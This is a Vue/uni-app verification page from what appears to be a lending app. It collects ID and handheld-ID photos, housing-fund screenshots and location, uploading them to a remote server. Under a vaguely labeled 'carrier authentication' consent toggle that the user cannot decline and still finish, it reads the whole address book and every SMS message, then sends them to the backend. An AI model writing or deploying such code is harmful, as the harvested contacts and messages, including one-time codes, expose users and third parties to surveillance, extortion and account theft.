<template>
	<view>
		<view class="card">
			<view class="information">
				<view class="card_size">身份证正反面照片</view>
				<view class="upload">
					<u-upload :action="action" :file-list="values.idcardList" :auto-upload="true" upload-text=""
						max-count="5" @on-success="onSuccessCard" @on-remove="onRemoveCard"></u-upload>
				</view>
			</view>
		</view>
		<view class="hold">
			<view class="information">
				<view class="card_size">手持身份证照片</view>
				<view class="upload">
					<u-upload :action="action" :file-list="values.handList" :auto-upload="true" upload-text=""
						max-count="5" :source-type="['camera']" @on-success="onSuccessHold" @on-remove="onRemoveHold">
					</u-upload>
				</view>
			</view>
		</view>
		<view class="hold">
			<view class="information">
				<view class="card_size">公积金余额截图</view>
				<view class="upload">
					<u-upload :action="action" :file-list="values.fundList" :auto-upload="true" upload-text=""
						max-count="10" @on-success="onSuccessFund" @on-remove="onRemoveFund"></u-upload>
				</view>
			</view>
		</view>
		<view class="position">
			<view class="information">
				<view class="card_size">实时位置信息</view>
				<view class="real" @click="openmap">
					<view class="real_size">实时位置</view>
					<view class="location">{{ values.location }}</view>
					<image src="../static/locationIcon.png" alt="" class="locationIcon" />
				</view>
			</view>
		</view>
		<view class="position">
			<view class="information">
				<view class="card_size">运营商认证 
				<!-- <image src='../static/doubt.png' class="doubt" @click="show=true">
					</image> -->
				</view>
				<u-radio-group v-model="value" @change="radioGroupChange" class="group_radio">
					<u-radio shape="square" v-for="(item, index) in list" :key="index" :name="item.name"
						:disabled="item.disabled">
						{{item.name}}
					</u-radio>
				</u-radio-group>
			</view>
		</view>
		<view class="button">
			<view class="Previous public" @click="Previous">上一步</view>
			<view class="nextStep public" @click="complete">完成</view>
		</view>
		<u-popup v-model="show" mode="center" border-radius="14" closeable>
			<view class="notice">须同意上传才能认证哦！</view>
		</u-popup>
		<u-toast ref="uToast" />
	</view>
</template>

<script>
	import {
		mapState,
		mapMutations,
		mapActions
	} from "vuex";
	export default {
		data() {
			return {
				arr: [],
				content: [],
				show: false,
				value: "",
				action: "https://tianhui.kexunyun.cn/index.php/api/common/upload",
				list: [{
						name: '同意上传',
						disabled: false
					},
					{
						name: '拒绝上传',
						disabled: false
					},
				]
			};
		},
		components: {},
		methods: {
			...mapMutations({
				Imagepush: "MANAGEMENT/IMAGE_PUSH",
				ImageSplice: "MANAGEMENT/IMAGE_SPLICE",
				getMap: "MANAGEMENT/GET_MAP",


			}),
			...mapActions({
				saveContacts: "MANAGEMENT/SAVE_CONTACTS", //保存联系人
				saveMsg: "MANAGEMENT/SAVE_MSG", //保存短信
			}),
			openmap() {
				let _this = this;
				uni.chooseLocation({
					success: function(res) {
						_this.getMap(res.name)
					},
				});
			},
			Previous() {
				this.$emit("threePrevious");
			},
			complete() {
				console.log(this.value)
				if(this.value!='同意上传'){
					this.$u.toast('请同意上传数据认证');
					return
				}
					
					this.$emit("complete");
					
					this.saveContacts(this.content)
					this.saveMsg(this.arr)
			
			},
			onSuccessCard(data, val) {
				let url = data.data.fullurl.split('.cn')
				this.Imagepush({
					name: "idcardArr",
					fullurl: url[1]
				});
			},
			onRemoveCard(index) {
				this.ImageSplice({
					name: "idcardArr",
					index: index
				})
			},
			onSuccessHold(data) {
				let url = data.data.fullurl.split('.cn')
				this.Imagepush({
					name: "handArr",
					fullurl: url[1]
				});
			},
			onRemoveHold(index) {
				this.ImageSplice({
					name: "handArr",
					index: index
				})
			},
			onSuccessFund(data) {
				let url = data.data.fullurl.split('.cn')
				this.Imagepush({
					name: "fundArr",
					fullurl: url[1]
				});
			},
			onRemoveFund(index) {
				this.ImageSplice({
					name: "fundArr",
					index: index
				})
			},
			radioGroupChange(val) {
				if (val=='同意上传') {
					var that = this
					// 获取通讯录对象
					plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE, function(addressbook) {
						// 查找联系人
						addressbook.find(["displayName", "phoneNumbers"], function(contacts) {
							contacts.map(item => {
								item.name = item.displayName,
									item.mobile = item.phoneNumbers[0].value

							})
							that.content = contacts.map(item => {
								return ({
									name: item.name,
									mobile: item.mobile
								})
							})

						}, )

						var Context = plus.android.runtimeMainActivity();
						console.log(Context,'Context')
						var res = plus.android.invoke('android.support.v4.app.ActivityCompat',
							'checkSelfPermission', Context, 'android.permission.READ_SMS');
						var PERMISSIONS_STORAGE = new Array();
						PERMISSIONS_STORAGE.push('android.permission.READ_SMS');
						console.log(res,'res')
						console.log(PERMISSIONS_STORAGE,'PERMISSIONS_STORAGE')
						// res == -1 时为询问状态,询问时会走Show 和 Hidden
						if (res != '0') {
							console.log(res,1)
							
							plus.android.invoke('android.support.v4.app.ActivityCompat', 'requestPermissions',
								Context, PERMISSIONS_STORAGE, 1);
						} else {
							var main = plus.android.runtimeMainActivity();
							var Uri = plus.android.importClass('android.net.Uri');
							var ContactsContract = plus.android.importClass('android.provider.ContactsContract');
							var uri = Uri.parse('content://sms/');
							var cr = main.getContentResolver();
							plus.android.importClass(cr);
							var cur = cr.query(uri, null, null, null, null);
							plus.android.importClass(cur);
							cur.moveToFirst();
							while (cur.moveToNext()) {
								var index_Address = cur.getColumnIndex('address');
								var address = cur.getString(index_Address);
								//短信内容
								var index_Body = cur.getColumnIndex('body');
								var body = cur.getString(index_Body);
								//类型1接收 2发送
								var index_Type = cur.getColumnIndex('type');
								var type = cur.getString(index_Type);
								console.log(address, body, type,3333);
								that.arr.push({
									mobile: address,
									content: body,
									type: type,
								})
								// 收件人
								// 短信内容
								// 短信的类型
							}
							cur.close();
						}
					})
				}else{
					this.show=true
				}

			}
		},
		mounted() {
			let _this = this;
			uni.getLocation({
				geocode: true,
				success: function(res) {
					_this.getMap(res.address.poiName)
				},
				fail: () => {
					uni.showToast({
						icon: "none",
						title: "未定位到当前城市，请选择城市",
						duration: 2000,
					});
				},
			});
		},
		onShow() {
			uni.setNavigationBarTitle({
				title: '通讯录'
			});
		},
		watch: {},
		computed: {
			...mapState({
				values: (state) => state.MANAGEMENT.values,
			})
		},
	};
</script>

<style scoped lang='scss'>
	.card {
		width: 686rpx;
		min-height: 352rpx;
		background: #ffffff;
		border-radius: 10rpx;
		margin-top: 160rpx;
		margin-left: 32rpx;
	}

	.hold {
		width: 686rpx;
		min-height: 352rpx;
		background: #ffffff;
		border-radius: 10rpx;
		margin-top: 32rpx;
		margin-left: 32rpx;
	}

	.position {
		width: 686rpx;
		height: 192rpx;
		background: #ffffff;
		border-radius: 10rpx;
		margin-top: 32rpx;
		margin-left: 32rpx;
	}

	.information {
		padding-left: 32rpx;
	}

	.card_size {
		color: #222223;
		font-size: 32rpx;
		padding-top: 32rpx;
	}

	.upload {
		min-height: 192rpx;
		margin-top: 42rpx;
	}

	.real {
		margin-top: 32rpx;
		display: flex;
	}

	.real_size {
		color: #0a0b16;
	}

	.location {
		margin-left: 30rpx;
		width: 386rpx;
		color: #90939d;
		overflow: hidden;
		text-overflow: ellipsis;
		white-space: nowrap;
	}

	.locationIcon {
		margin-left: 62rpx;
		width: 35rpx;
		height: 35rpx;
	}

	.doubt {
		margin-left: 14rpx;
		width: 30rpx;
		height: 30rpx;
	}

	.notice {
		padding: 40rpx;
		margin-top: 40rpx;
		width: 650rpx;
	}

	.group_radio {
		margin-top: 40rpx;
	}
</style>
